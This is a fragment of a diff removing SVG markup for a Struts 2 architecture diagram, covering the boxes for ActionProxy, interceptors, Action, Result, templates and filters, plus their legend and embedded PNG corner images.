-        <path d="M-899.6632 -47.1615 L28.3368 -47.1615 L28.3368 878.8385 L-899.6632 878.8385 L-899.6632 -47.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath47">
-        <path d="M-671.5464 -140.7316 L256.4536 -140.7316 L256.4536 1505.4906 L-671.5464 1505.4906 L-671.5464 -140.7316 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath48">
-        <path d="M-899.6632 -140.7316 L28.3368 -140.7316 L28.3368 1505.4906 L-899.6632 1505.4906 L-899.6632 -140.7316 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath49">
-        <path d="M-671.5464 -97.1615 L256.4536 -97.1615 L256.4536 828.8385 L-671.5464 828.8385 L-671.5464 -97.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath50">
-        <path d="M-114.7963 -97.1615 L36.6237 -97.1615 L36.6237 828.8385 L-114.7963 828.8385 L-114.7963 -97.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath51">
-        <path d="M-899.6632 -97.1615 L28.3368 -97.1615 L28.3368 828.8385 L-899.6632 828.8385 L-899.6632 -97.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath52">
-        <path d="M-32.9352 -20.7904 L869.7885 -20.7904 L869.7885 879.9878 L-32.9352 879.9878 L-32.9352 -20.7904 Z"/>
-      </clipPath>
-    </defs>
-    <g fill="white" transform="translate(40,49)" stroke="white">
-      <rect x="-40" width="928" height="926" y="-49" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g fill="white" transform="matrix(1,0,0,1,40,49)" stroke="white">
-      <rect x="-23.5938" width="197.1875" height="250.3125" y="599.8438" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="17" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="45.0715" xml:space="preserve" y="622.2793" clip-path="url(#clipPath2)" stroke="none">Legend</text>
-      <rect fill="none" x="-23.5938" width="197.1875" height="250.3125" y="599.8438" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="gray" transform="matrix(1,0,0,1,40,49) translate(5,5)" stroke="gray">
-      <rect x="-25" width="200" height="83.3702" y="258.3149" clip-path="url(#clipPath3)" stroke="none"/>
-    </g>
-    <g fill="rgb(0,102,153)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,102,153)">
-      <rect x="-25" width="200" height="83.3702" y="258.3149" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="28.5039" xml:space="preserve" y="306.0469" clip-path="url(#clipPath2)" stroke="none">ActionProxy</text>
-    </g>
-    <g stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" stroke-miterlimit="1.45">
-      <rect fill="none" x="-25" width="200" height="83.3702" y="258.3149" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="gray" transform="matrix(1,0,0,1,40,49) translate(5,5)" stroke="gray">
-      <rect x="-25" width="200" height="83.3702" y="383.3149" clip-path="url(#clipPath3)" stroke="none"/>
-    </g>
-    <g fill="rgb(0,102,153)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,102,153)">
-      <rect x="-25" width="200" height="83.3702" y="383.3149" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="21.5039" xml:space="preserve" y="421.625" clip-path="url(#clipPath2)" stroke="none">Configuration</text>
-      <text x="41.5898" xml:space="preserve" y="440.4688" clip-path="url(#clipPath2)" stroke="none">Manager</text>
-    </g>
-    <g stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" stroke-miterlimit="1.45">
-      <rect fill="none" x="-25" width="200" height="83.3702" y="383.3149" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="gray" transform="matrix(1,0,0,1,40,49) translate(5,5)" stroke="gray">
-      <rect x="-25" width="200" height="39.1492" y="505.4254" clip-path="url(#clipPath3)" stroke="none"/>
-    </g>
-    <g fill="rgb(153,204,0)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,0)">
-      <rect x="-25" width="200" height="39.1492" y="505.4254" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="35.4023" xml:space="preserve" y="531.0469" clip-path="url(#clipPath2)" stroke="none">struts.xml</text>
-      <rect fill="none" x="-25" width="200" height="39.1492" y="505.4254" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="gray" transform="matrix(1,0,0,1,40,49) translate(5,5)" stroke="gray">
-      <rect x="205" width="150" height="574.039" y="259.375" clip-path="url(#clipPath3)" stroke="none"/>
-    </g>
-    <g fill="rgb(0,102,153)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,102,153)">
-      <rect x="205" width="150" height="574.039" y="259.375" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="211" xml:space="preserve" y="280.8438" clip-path="url(#clipPath2)" stroke="none">ActionInvocation</text>
-    </g>
-    <g stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" stroke-miterlimit="1.45">
-      <rect fill="none" x="205" width="150" height="574.039" y="259.375" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="rgb(153,204,255)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,255)">
-      <rect x="333.8385" width="190" height="40" y="290" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="378.4869" xml:space="preserve" y="316.0469" clip-path="url(#clipPath2)" stroke="none">Interceptor 1</text>
-      <rect x="333.8385" y="290" clip-path="url(#clipPath2)" fill="none" width="190" stroke-dasharray="6,2" height="40"/>
-    </g>
-    <g fill="rgb(153,204,255)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,255)">
-      <rect x="333.8385" width="190" height="40" y="342.5" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="378.4869" xml:space="preserve" y="368.5469" clip-path="url(#clipPath2)" stroke="none">Interceptor 2</text>
-      <rect x="333.8385" y="342.5" clip-path="url(#clipPath2)" fill="none" width="190" stroke-dasharray="6,2" height="40"/>
-    </g>
-    <g fill="rgb(153,204,255)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,255)">
-      <rect x="333.8385" width="190" height="40" y="395" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="378.4869" xml:space="preserve" y="421.0469" clip-path="url(#clipPath2)" stroke="none">Interceptor 3</text>
-      <rect x="333.8385" y="395" clip-path="url(#clipPath2)" fill="none" width="190" stroke-dasharray="6,2" height="40"/>
-    </g>
-    <g fill="rgb(153,204,255)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,255)">
-      <rect x="333.8993" width="189.8784" height="40" y="665" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="378.4869" xml:space="preserve" y="691.0469" clip-path="url(#clipPath2)" stroke="none">Interceptor 3</text>
-      <rect x="333.8993" y="665" clip-path="url(#clipPath2)" fill="none" width="189.8784" stroke-dasharray="6,2" height="40"/>
-    </g>
-    <g fill="rgb(153,204,255)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,255)">
-      <rect x="333.8993" width="189.8784" height="40" y="719.9227" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="378.4869" xml:space="preserve" y="745.9695" clip-path="url(#clipPath2)" stroke="none">Interceptor 2</text>
-      <rect x="333.8993" y="719.9227" clip-path="url(#clipPath2)" fill="none" width="189.8784" stroke-dasharray="6,2" height="40"/>
-    </g>
-    <g fill="rgb(153,204,255)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,255)">
-      <rect x="333.8993" width="189.8784" height="40" y="774.8454" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="378.4869" xml:space="preserve" y="800.8922" clip-path="url(#clipPath2)" stroke="none">Interceptor 1</text>
-      <rect x="333.8993" y="774.8454" clip-path="url(#clipPath2)" fill="none" width="189.8784" stroke-dasharray="6,2" height="40"/>
-    </g>
-    <g fill="rgb(153,204,0)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,0)">
-      <rect x="333.8385" width="190" height="50" y="465" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="404.0377" xml:space="preserve" y="496.0469" clip-path="url(#clipPath2)" stroke="none">Action</text>
-      <rect fill="none" x="333.8385" width="190" height="50" y="465" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="rgb(0,102,153)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,102,153)">
-      <rect x="333.8385" width="190" height="65" y="585.0773" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="404.9752" xml:space="preserve" y="623.6242" clip-path="url(#clipPath2)" stroke="none">Result</text>
-    </g>
-    <g stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" stroke-miterlimit="1.45">
-      <rect fill="none" x="333.8385" width="190" height="65" y="585.0773" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="gray" transform="matrix(1,0,0,1,40,49) translate(5,5)" stroke="gray">
-      <rect x="575" width="228.1168" height="150" y="542.5773" clip-path="url(#clipPath3)" stroke="none"/>
-    </g>
-    <g fill="rgb(153,204,0)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,0)">
-      <rect x="575" width="228.1168" height="150" y="542.5773" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="637.8553" xml:space="preserve" y="585.9367" clip-path="url(#clipPath2)" stroke="none">Template</text>
-      <text x="637.8553" xml:space="preserve" y="604.7805" clip-path="url(#clipPath2)" stroke="none">- JSP</text>
-      <text x="637.8553" xml:space="preserve" y="623.6242" clip-path="url(#clipPath2)" stroke="none">- Freemarker</text>
-      <text x="637.8553" xml:space="preserve" y="642.468" clip-path="url(#clipPath2)" stroke="none">- Velocity</text>
-      <text x="637.8553" xml:space="preserve" y="661.3117" clip-path="url(#clipPath2)" stroke="none">- etc</text>
-      <rect fill="none" x="575" width="228.1168" height="150" y="542.5773" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="rgb(0,102,153)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,102,153)">
-      <rect x="333.8385" width="190" height="30" y="535.0387" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="339.8385" xml:space="preserve" y="556.0855" clip-path="url(#clipPath2)" stroke="none">PreResultListener</text>
-    </g>
-    <g stroke-dasharray="6,2" stroke-miterlimit="1.45" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <rect fill="none" x="333.8385" width="190" height="30" y="535.0387" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="gray" transform="matrix(1,0,0,1,40,49) translate(5,5)" stroke="gray">
-      <rect x="575" width="228.1168" height="80.3204" y="419.8398" clip-path="url(#clipPath3)" stroke="none"/>
-    </g>
-    <g fill="rgb(0,102,153)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,102,153)">
-      <rect x="575" width="228.1168" height="80.3204" y="419.8398" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="622.5506" xml:space="preserve" y="456.625" clip-path="url(#clipPath2)" stroke="none">Tag Subsystem </text>
-      <text x="622.5506" xml:space="preserve" y="475.4688" clip-path="url(#clipPath2)" stroke="none">(HTML, Forms, ..)</text>
-    </g>
-    <g stroke-dasharray="6,2" stroke-miterlimit="1.45" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <rect fill="none" x="575" width="228.1168" height="80.3204" y="419.8398" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="rgb(255,153,0)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(255,153,0)">
-      <rect x="0" width="150" height="30" y="635" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="22.8125" xml:space="preserve" y="656.0469" clip-path="url(#clipPath2)" stroke="none">Servlet Filters</text>
-      <rect fill="none" x="0" width="150" height="30" y="635" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="rgb(0,102,153)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(0,102,153)">
-      <rect x="0" width="150" height="30" y="685" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" fill="white" font-family="sans-serif" stroke="white" stroke-miterlimit="1.45">
-      <text x="40.6016" xml:space="preserve" y="706.0469" clip-path="url(#clipPath2)" stroke="none">WW Core</text>
-    </g>
-    <g stroke-linecap="butt" transform="matrix(1,0,0,1,40,49)" stroke-miterlimit="1.45">
-      <rect fill="none" x="0" width="150" height="30" y="685" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="rgb(153,204,255)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,255)">
-      <rect x="0" width="150" height="30" y="735" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="28.1602" xml:space="preserve" y="756.0469" clip-path="url(#clipPath2)" stroke="none">Interceptors</text>
-      <rect fill="none" x="0" width="150" height="30" y="735" clip-path="url(#clipPath2)"/>
-    </g>
-    <g fill="rgb(153,204,0)" transform="matrix(1,0,0,1,40,49)" stroke="rgb(153,204,0)">
-      <rect x="0" width="150" height="30" y="785" clip-path="url(#clipPath2)" stroke="none"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="26.3867" xml:space="preserve" y="806.0469" clip-path="url(#clipPath2)" stroke="none">User created</text>
-      <rect fill="none" x="0" width="150" height="30" y="785" clip-path="url(#clipPath2)"/>
-    </g>
-    <g transform="matrix(1,0,0,1,3.4062,116)" image-rendering="optimizeQuality">
-      <image x="0" y="0" clip-path="url(#clipPath4)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoElEQVR42u2U3QqA&#10;IAyFnVv29/7vm8ERhkRYal60A9+NkOdrrJyzWCwWy99Do++lxqWk7qSvBFKpV+Qy&#10;3QRSCUcEMPAlEtSg/CydIkExqWncRioFGGVLZAUzzrhkAtJg9AHFe2SDjCiBbhPw&#10;eD6gdAMzzqmnAF0ILCgPagGL3qJGIO1AQp6U1wi47Nvn7B/gvhDIJejtIg2NCZiA&#10;CQwXOACT5QF38sD4BwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(27.008,0,0,1,32,0)" clip-path="url(#clipPath5)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAQ0lEQVR42u3Uuw0A&#10;IAgAUfwkFpro/tNq4Q5XcJfQvwKIMDOz7JU/WP1NowGDBiwasGnAoQEz/RKiZ1jp&#10;TyhAgAABAi6iOQCDYZC1igAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,896.257,0)" clip-path="url(#clipPath6)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAtElEQVR42u2UUQuD&#10;MAyEbZzsYYPt///R4WrjKlwh9C1Xxx6Wg4NSkfsSY6YpFAqFQv+uBHu0nwlwqZ6J&#10;8N14GODqCG8u1YqzjgLcHVUrwje4dHAUwMNRfQt/wyuelxGApxOgBb/MANMzcQDc&#10;HDNwAOTqpVpwr91MfHUIFe+IaX2GCzOQzG9oK8/4HCvOydsFIRaXAHyBW0eEWGpu&#10;ALs9W+jMhrMAPURiw0cATlMABEAA/BzgA38PPBy0sBV4AAAAAElFTkSuQmCC" height="32" preser [...]
-      <image x="0" y="0" transform="matrix(1,0,0,0.25,0,32)" clip-path="url(#clipPath7)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAP0lEQVR42u3OoQ0A&#10;IAxFQaACAYL9p6WCBcBg7ifPVDRXy9si69nM1mmcW9w8auXzAAAAAAAAAAAAAAAA&#10;AAAANrleAIukEqVhAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,0.25,896.257,32)" clip-path="url(#clipPath8)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARklEQVR42u3OqxEA&#10;IAwE0YP26L8PBAgEnxNpIAqzN7MmIvOKpKbcrttuueF6NON2Ms+qPg8AAAAAAAAA&#10;AAAAAAAAAAAA8ADrwAlAkUuehwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,0,40)" clip-path="url(#clipPath9)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAr0lEQVR42u2UUQuD&#10;MAyEG1PZw/aw//9LN1nNUjghlCHaageSgwMrePmaBCnUidU39UP9hO94x3uChvBn&#10;OYADOMAlAATuDiDGMyy9AXLRBFdBcGVxAnz+PqpHPPPeS3FDBxaIoShOxWhkzbEB&#10;IId/1JP6ZS6T0JEFhtZC4gHzn1BMzHncOo7YuITpR0feyOUtHaCD/iV2IWOxD+Fs&#10;ALuQdjGpJ0CZRyflu1wul+uC+gLhsCt+DtSVsgAAAABJRU5ErkJggg==" height="32" preserveAspectR [...]
-      <image x="0" y="0" transform="matrix(27.008,0,0,1,32,40)" clip-path="url(#clipPath10)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARUlEQVR42u3OsQ2A&#10;MBDF0H8hFatl/z1AokmB4LZwY0vuXyVZARuBEyBAgAABs/9owEsDNg14aMBNAy4S&#10;UP1JA46YmZmB/Uo1BlQhe3TLAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,896.257,40)" clip-path="url(#clipPath11)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAu0lEQVR42u2W3QrD&#10;IAyF082rvdre/z066P40rUvhBHKxC6Nlu8mBQ6Go+Uxi7UREV/KpilfxW7yIZ/iO&#10;d5tnsRP9WQEQAAEQAL0AFV88dYV/AmCDr/DWC5CcE/exDBeYAdGVhYTJLYEJO2Vc&#10;Oi84j2QhYbEWAE19QeCHAWDvLWgBlsaxWvMC6CecTQm6AG6O9GsJMiAygIaacHaU&#10;QH9G2DRf9+53TeKLowkPO/8W4Ow4gt+eoVAoFAoN6QO8d14KJCW2mQAAAABJRU5E&#10;rkJggg==" [...]
-      <path fill="rgb(255,153,0)" d="M-23.5938 99 L872.6632 99 L872.6632 110 Q872.6632 120 862.6632 120 L-13.5938 120 Q-23.5938 120 -23.5938 110 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,36.5938,-67)" image-rendering="auto" stroke="none"/>
-      <path fill="url(#linearGradient1)" d="M-23.5938 90 Q-23.5938 80 -13.5938 80 L862.6632 80 Q872.6632 80 872.6632 90 L872.6632 100 L-23.5938 100 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,36.5938,-67)" image-rendering="auto" stroke="none"/>
-    </g>
-    <g fill="rgb(217,130,0)" stroke-width="2" transform="matrix(1,0,0,1,40,49)" stroke="rgb(217,130,0)">
-      <path fill="none" d="M-21.5938 90 Q-21.5938 82 -13.5938 82 L862.6632 82 Q870.6632 82 870.6632 90 L870.6632 110 Q870.6632 118 862.6632 118 L-13.5938 118 Q-21.5938 118 -21.5938 110 Z" clip-path="url(#clipPath2)"/>
-      <path fill="none" stroke-width="1" d="M-21.5938 90 Q-21.5938 82 -13.5938 82 L862.6632 82 Q870.6632 82 870.6632 90 L870.6632 110 Q870.6632 118 862.6632 118 L-13.5938 118 Q-21.5938 118 -21.5938 110 Z" clip-path="url(#clipPath2)" stroke="black"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="352.9527" xml:space="preserve" y="106.0469" clip-path="url(#clipPath2)" stroke="none">StrutsPrepareFilter</text>
-    </g>
-    <g transform="matrix(1,0,0,1,3.4062,166)" image-rendering="optimizeQuality">
-      <image x="0" y="0" clip-path="url(#clipPath12)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAoElEQVR42u2U3QqA&#10;IAyFnVv29/7vm8ERhkRYal60A9+NkOdrrJyzWCwWy99Do++lxqWk7qSvBFKpV+Qy&#10;3QRSCUcEMPAlEtSg/CydIkExqWncRioFGGVLZAUzzrhkAtJg9AHFe2SDjCiBbhPw&#10;eD6gdAMzzqmnAF0ILCgPagGL3qJGIO1AQp6U1wi47Nvn7B/gvhDIJejtIg2NCZiA&#10;CQwXOACT5QF38sD4BwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(27.008,0,0,1,32,0)" clip-path="url(#clipPath13)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAQ0lEQVR42u3Uuw0A&#10;IAgAUfwkFpro/tNq4Q5XcJfQvwKIMDOz7JU/WP1NowGDBiwasGnAoQEz/RKiZ1jp&#10;TyhAgAABAi6iOQCDYZC1igAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,896.257,0)" clip-path="url(#clipPath14)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAtElEQVR42u2UUQuD&#10;MAyEbZzsYYPt///R4WrjKlwh9C1Xxx6Wg4NSkfsSY6YpFAqFQv+uBHu0nwlwqZ6J&#10;8N14GODqCG8u1YqzjgLcHVUrwje4dHAUwMNRfQt/wyuelxGApxOgBb/MANMzcQDc&#10;HDNwAOTqpVpwr91MfHUIFe+IaX2GCzOQzG9oK8/4HCvOydsFIRaXAHyBW0eEWGpu&#10;ALs9W+jMhrMAPURiw0cATlMABEAA/BzgA38PPBy0sBV4AAAAAElFTkSuQmCC" height="32" prese [...]
-      <image x="0" y="0" transform="matrix(1,0,0,0.25,0,32)" clip-path="url(#clipPath15)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAP0lEQVR42u3OoQ0A&#10;IAxFQaACAYL9p6WCBcBg7ifPVDRXy9si69nM1mmcW9w8auXzAAAAAAAAAAAAAAAA&#10;AAAANrleAIukEqVhAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,0.25,896.257,32)" clip-path="url(#clipPath16)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARklEQVR42u3OqxEA&#10;IAwE0YP26L8PBAgEnxNpIAqzN7MmIvOKpKbcrttuueF6NON2Ms+qPg8AAAAAAAAA&#10;AAAAAAAAAAAA8ADrwAlAkUuehwAAAABJRU5ErkJggg==" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,0,40)" clip-path="url(#clipPath17)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAr0lEQVR42u2UUQuD&#10;MAyEG1PZw/aw//9LN1nNUjghlCHaageSgwMrePmaBCnUidU39UP9hO94x3uChvBn&#10;OYADOMAlAATuDiDGMyy9AXLRBFdBcGVxAnz+PqpHPPPeS3FDBxaIoShOxWhkzbEB&#10;IId/1JP6ZS6T0JEFhtZC4gHzn1BMzHncOo7YuITpR0feyOUtHaCD/iV2IWOxD+Fs&#10;ALuQdjGpJ0CZRyflu1wul+uC+gLhsCt+DtSVsgAAAABJRU5ErkJggg==" height="32" preserveAspect [...]
-      <image x="0" y="0" transform="matrix(27.008,0,0,1,32,40)" clip-path="url(#clipPath18)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAARUlEQVR42u3OsQ2A&#10;MBDF0H8hFatl/z1AokmB4LZwY0vuXyVZARuBEyBAgAABs/9owEsDNg14aMBNAy4S&#10;UP1JA46YmZmB/Uo1BlQhe3TLAAAAAElFTkSuQmCC" height="32" preserveAspectRatio="none"/>
-      <image x="0" y="0" transform="matrix(1,0,0,1,896.257,40)" clip-path="url(#clipPath19)" width="32" xlink:href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAu0lEQVR42u2W3QrD&#10;IAyF082rvdre/z066P40rUvhBHKxC6Nlu8mBQ6Go+Uxi7UREV/KpilfxW7yIZ/iO&#10;d5tnsRP9WQEQAAEQAL0AFV88dYV/AmCDr/DWC5CcE/exDBeYAdGVhYTJLYEJO2Vc&#10;Oi84j2QhYbEWAE19QeCHAWDvLWgBlsaxWvMC6CecTQm6AG6O9GsJMiAygIaacHaU&#10;QH9G2DRf9+53TeKLowkPO/8W4Ow4gt+eoVAoFAoN6QO8d14KJCW2mQAAAABJRU5E&#10;rkJggg==" [...]
-      <path fill="rgb(255,153,0)" d="M-23.5938 149 L872.6632 149 L872.6632 160 Q872.6632 170 862.6632 170 L-13.5938 170 Q-23.5938 170 -23.5938 160 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,36.5938,-117)" image-rendering="auto" stroke="none"/>
-      <path fill="url(#linearGradient2)" d="M-23.5938 140 Q-23.5938 130 -13.5938 130 L862.6632 130 Q872.6632 130 872.6632 140 L872.6632 150 L-23.5938 150 Z" clip-path="url(#clipPath2)" transform="matrix(1,0,0,1,36.5938,-117)" image-rendering="auto" stroke="none"/>
-    </g>
-    <g fill="rgb(217,130,0)" stroke-width="2" transform="matrix(1,0,0,1,40,49)" stroke="rgb(217,130,0)">
-      <path fill="none" d="M-21.5938 140 Q-21.5938 132 -13.5938 132 L862.6632 132 Q870.6632 132 870.6632 140 L870.6632 160 Q870.6632 168 862.6632 168 L-13.5938 168 Q-21.5938 168 -21.5938 160 Z" clip-path="url(#clipPath2)"/>
-      <path fill="none" stroke-width="1" d="M-21.5938 140 Q-21.5938 132 -13.5938 132 L862.6632 132 Q870.6632 132 870.6632 140 L870.6632 160 Q870.6632 168 862.6632 168 L-13.5938 168 Q-21.5938 168 -21.5938 160 Z" clip-path="url(#clipPath2)" stroke="black"/>
-    </g>
-    <g font-size="16" stroke-miterlimit="1.45" font-family="sans-serif" transform="matrix(1,0,0,1,40,49)" stroke-linecap="butt">
-      <text x="318.9293" xml:space="preserve" y="156.0469" clip-path="url(#clipPath2)" stroke="none">Other filters (SiteMesh, etc)</text>
-    </g>
-    <g transform="matrix(1,0,0,1,2,216)" image-rendering="optimizeQuality">
